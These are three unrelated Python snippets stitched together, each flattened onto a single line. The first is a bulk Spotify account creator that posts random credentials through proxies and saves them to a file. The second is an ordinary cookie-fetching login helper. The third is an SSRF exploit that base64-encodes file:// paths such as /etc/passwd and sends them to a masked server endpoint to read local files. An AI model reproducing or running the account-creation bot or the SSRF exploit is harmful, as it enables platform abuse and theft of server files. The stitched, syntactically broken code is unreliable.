def creator(): global maxi global created global errors while maxi > created: if title == "Linux": system("Spotify Account Created: {created}/{maxi} Errors:{errors}". format(created=created, maxi=maxi, errors=errors)) s = request.session() email = setRandomName() password = randomPassword() data = { "displayname": "Josh", "creation_point": "https://login.app.spotify.com?utm_source=spotify&utm_medium=desktop-win32&utm_campaign=organic", "birth_month": "12", "email": email + "@gmail.com", "password": password, "creation_flow": "desktop", "platform": "desktop", "birth_year": "1991", "iagree": "1", "key": "4c7a36d5260abca4af282779720cf631", "birth_day": "17", "gender": "male", "password_repeat": password, "referrer": "" } try: r = s.post( "https://spclient.wg.spotify.com/signup/public/v1/account/", data=data, proxies=proxy1.FormatProxy()) if '{"status":1,"' in r.text: open("created.txt", "a+").write(email + "@gmail.com:" + password + "\n") created += 1 if title == "Linux": system( "title " + f"Spotify account creator: {created}/{maxi} Errors:{errors}" ) elif title == "Windows": system( "title " + f"Spotify account creator: {created}/{maxi} Errors:{errors}" ) else: errors += 1 except: pass
def get_session(self, env): """ 获取session :param env: :return: """ headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko)\ Chrome/67.0.3396.99 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } if env == "debug": login_url = 'http://' + self.config.loginHost_debug parm = self.config.loginInfo_debug session_debug = request.session() response = session_debug.post(login_url, parm, headers=headers) print(response.cookies) self.log.debug('cookies:%s' % response.cookies.get_dict()) return response.cookies.get_dict() elif env == "release": login_url = 'http://' + self.config.loginHost_relese parm = self.config.loginInfo_relese session_release = request.session() response = session_release.post(login_url, parm, headers=headers) print(response.cookies) self.log.debug('cookies:%s' % response.cookies.get_dict()) return response.cookies.get_dict() else: print("get cookies error") self.log.error('get cookies error,please checkout')
import request, base64 #ssrf_url = b'file:///var/www/administration.php?.png' #ssrf_url = b'file:///var/www/register?.png' #ssrf_url = b'file:///var/www/main.php?.png' #ssrf_url = b'file:///var/www/login.php?.png' #ssrf_url = b'file:///etc/passwd?.png' encoded = base64.b64encode(ssrf_url) encoded = str(encoded) encoded = encoded[1:].strip("'") print('URL in ASCII: ' + str(ssrf_url)) print('URL in base64: ' + encoded) full_request = "http://**.205.**.**/testProfilePng?u" + encoded print("URL to execute file on server:") print(full_request) session = request.session() res = session.get(full_request) file_name = res.json() file_name = file_name['png'] print(res.text) url = "http://**.205.**.**/profilePics/" + file_name print('Downloading from: ' + url)